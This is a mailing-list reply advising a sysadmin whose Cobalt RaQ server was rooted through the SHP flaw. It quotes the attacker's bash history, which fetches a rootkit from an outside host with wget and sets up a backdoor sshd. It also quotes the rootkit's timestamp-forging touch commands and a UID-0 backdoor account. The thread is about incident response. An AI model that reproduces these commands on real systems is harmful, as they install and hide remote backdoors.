Re: [cobalt-users] Root kit raq

["Steve Werby" <steve-lists@xxxxxxxxxxxx>]

"Adam Knowles" <adam@xxxxxxxxxxxxxxx> wrote:
> Wondering if any1 has time to help with a hacked raq? I'm not the most
> experienced sysadmin, so hopefully this can be some good learning for
> me, if anyone's willing to share! Apologies for the long email, but if
> any1 can read it I'd appreciate it soo much :)
>
> It's a Raq4i 512mb. It got hacked through the flawed SHP package Sun
> shipped. I hadn't yet applied the SHP-remove package.

With SHP installed anyone can remotely execute code as root, which gives
anyone root level access.

> You'll see the extent of the break-in later, but the only actual symptom
> is mail sent using my server as SMTP never arrives. Local user's mail is
> delivered OK. SMTP doesn't give errors; it accepts mail but doesn't
> deliver it.

See /var/log/maillog to see what's happening and try mail -v to see what's
happening.

> The hack happened Monday morning at 05.00. Someone got in and executed
> the following, taken from BASH history (why didn't they clean this up?):

It's so easy to scan for vulnerable machines, download rootkits and
copy/paste step by step instructions that it requires zero *nix knowledge to
hack a vulnerable *nix server.  So the hacker may not have known to cover
his/her tracks or might not have cared.

> ------------------------ START SNIP -----------------------------
>
> {.{bash_history,nsr},b{in,oot},dev,etc,gmon.out,home,l{ib,ost+found},mnt
> ,nsr,opt,proc,root,s{bin,etup},tmp,usr,var$
> hostname
> cd /usr/sbin
> mkdir tmp
> cd tmp
> pwd
> wget http://www.tk-pttuntex.com/~zen/file/tutorial/rkid.tar.gz
> tar -zxf rkid.tar.gz
> cd rkid
> ./setup angina 35353
> exit
> ------------------------ END SNIP -----------------------------
>
> So they got in to the system, then downloaded rkid.tar.gz. This is a
> root kit. I downloaded it myself and it calls itself: "shkit-v4-internal
> release 2002". Amongst other things, there's three files infected with a
> couple of viruses: Linux.Lion.Worm and Trojan.Linux.Hacktop. I know this
> since Norton told me when I downloaded the rkid.tar.gz to my Windows PC.
> Is there anything I can do about these viruses?

Since Norton for a PC is designed to check for PC viruses I'd put more stock
in what chkrootkit or similar *nix programs say.

> The kit installed a new sshd, running on port 35353 with the pass
> 'angina'.
>
> I tried this:
> /sbin/ipchains -A input -j DENY -p tcp -l -s 0.0.0.0/0 -d
> my.servers.ip.address/32 35353

You may have already, but it's a good idea at this point to remove the
trojaned SSH and kill it.  Use "ps aux", "netstat -an" and lsof to get info.
on what's running.  lsof isn't installed by default so download it and run
it.  And since your binaries may be trojanned, I advise downloading the
parent RPMs from the Cobalt FTP site and installing them in a non-standard
location and using them to determine if yours are trojanned or just use them
instead of the installed binaries while troubleshooting.  rpm -qf
<path_to_file>/<file> will tell you the RPM which the file was part of.  You
definitely want md5sum, ps, netstat, ls, top, kill, killall, etc.

> I added the ipchains line to the bottom of rc.local to make sure it
> carries over reboots.

You might want to tighten your existing firewall using IPCHAINS so that the
only ports which are open are ports you are running a service on and
possibly a few ports for PortSentry to run in honeypot mode.

> That stopped telnet and SSH on port 35353 from working.

I'm not sure if you're saying that the script tries to run SSH on that port,
but has the facility to use a trojaned version of telnet instead.  If you
didn't just mean SSH alone I'm curious.

> Telnet's
> normally disabled, but had mysteriously become enabled. I disabled it
> again.

Again, if you're firewall is configured properly the telnet port either
shouldn't be open or should only be open for a small number of trusted IPs
in case telnet access is needed in the event SSH is unavailable.

> I've stopped access to the hacker's own SSH, and changed the password
> for admin and root on my 'real' SSH. Is that enough to stop the
> immediate threat? Or will they have access to my new passwords somehow?

The SHP vulnerability gave anyone access to /etc/shadow and /etc/passwd
along with every other file on the server.  So it's possible the hacker has
access to those files and is cracking them using John the Ripper or a
similar program.  If you haven't applied the SHP removal PKG the hacker may
have access to the new passwords.  And just because a trail was left in
.bash_history doesn't mean that .bash_history wasn't edited or that the
hacker hasn't executed other commands that wouldn't appear in root's
.bash_history.

> I got the chkrootkit software to check other stuff.
> Notable results:
>
> [root chkrootkit-0.37]# ./chkrootkit
>
> Checking `ifconfig'... INFECTED

Did it report it was running in promiscuous mode as well (would be later in
the output)?

> Checking `login'... INFECTED
> Searching for t0rn's v8 defaults... Possible t0rn v8 (or variation)
> rootkit installed
> Searching for Showtee... Warning: Possible Showtee Rootkit installed

I would absolutely do a complete restore, change all user passwords, apply
all PKGs and then install security software and run it religiously.  I do a
lot of security work and I always advise clients that a restore is the only
way to be sure that any files installed or modified by a hacker are removed.
With some rootkits I'm comfortable troubleshooting and handling without a
restore, but based on what you've shared if it was my box I'd do a full
restore.  YMMV.

> I installed Portsentry 2. Do I need to add that to my rc.local to make
> sure it starts up on reboot?

If there's no file for it in init.d.  I'd use chkconfig to set it up, but
rc.local will work too.

> Found in /etc/passwd & /etc/shadow:
> sbin:x:0:0::/sbin/services:/bin/bash

And was there a .bash_history in /sbin/services/?  The UID and GID were 0:0
which is the same as root's.  That means this user has the same privileges
as the root user.  FYI, it's not uncommon for rootkits to modify binaries
and syslogd in order to make it difficult to impossible to see what commands
the hacker executed.

> Seemed to be a user called 'sbin' with root privileges?  Got rid of it.
> Should I have done this another way with 'userdel' or something?  Do I
> need to restart anything for these changes to be noticed?

I would have used userdel, but I'd research first to ensure that it doesn't
delete files owned by the same UID.  I'm almost positive it doesn't because
I'm quite sure I've done this before, but YMMV.

> System logs aren't being generated. How can I sort that? Syslogd reports
> it's already running.

Verify that it's /sbin/syslogd.  I've seen trojans that replace that with
/sbin/syslgd or similar which may appear to be correct to the naked eye.
But I can't stress enough that I'd do a restore instead of trying to clean
the system.

> The kit added these lines to rc.sysinit. I removed them, but what did
> they do?
>
> # Xntps (NTPv3 daemon) startup..
> /usr/sbin/xntps -q

Not sure, but Google will probably give a clue.

> And finally..here's all the files the kit backdoor'd:
>
> ------------- START SNIP ----------------
> # time change bitch
>
> touch -acmr /sbin/ifconfig ifconfig
> touch -acmr /bin/ps ps
> touch -acmr /bin/ls ls
> touch -acmr /bin/login login
> touch -acmr /bin/netstat netstat
> touch -acmr /usr/bin/find find
> touch -acmr /usr/bin/top top
> touch -acmr /usr/sbin/lsof lsof
> touch -acmr /sbin/syslogd syslogd
> touch -acmr /usr/bin/slocate slocate
> touch -acmr /usr/bin/dir dir
> touch -acmr /usr/bin/md5sum md5sum
> touch -acmr /usr/bin/pstree pstree

Ah.  I should have read this all the way through before answering.  Until
you replace with known good versions or install them to a separate location
to troubleshoot you cannot rely on any output from any of the above
programs...and possibly others installed by later rootkits or installed
manually.

> echo ${RED} baga mare PuiDeDraC jajajaj !!! PuiDeDraC Iz Hackerz!!!
>
> ------------- END SNIP --------------------
>
> It looks like the damage is pretty serious. I've taken an SQL backup of
> the mySQL databases on the server, plus tarballed up the /home/sites
> directory. If I clean the latter with Norton, order a rebuild from my
> datacentre, then upload everything back..is that the best way forward?

I'd download the CMU and use it to backup and restore your sites, users and
email.  See http://sunsolve.sun.com/patches/cobalt/migration.html.  Also,
grab /etc/named/records and reinstall it after the restore and run
/usr/admserv/cgi-bin/.cobalt/dns/index.cgi to restore the DNS zone files.
This will save you a lot of manual work.

> And did this really all happen just because I didn't apply the
> SHP-remove package from Sun in time?

It's very possible.  But that's not to say your box couldn't have been
secured more even if SHP was removed.  That would really require an audit by
someone with experience in security.

--
Steve Werby
President, Befriend Internet Services LLC
http://www.befriend.com/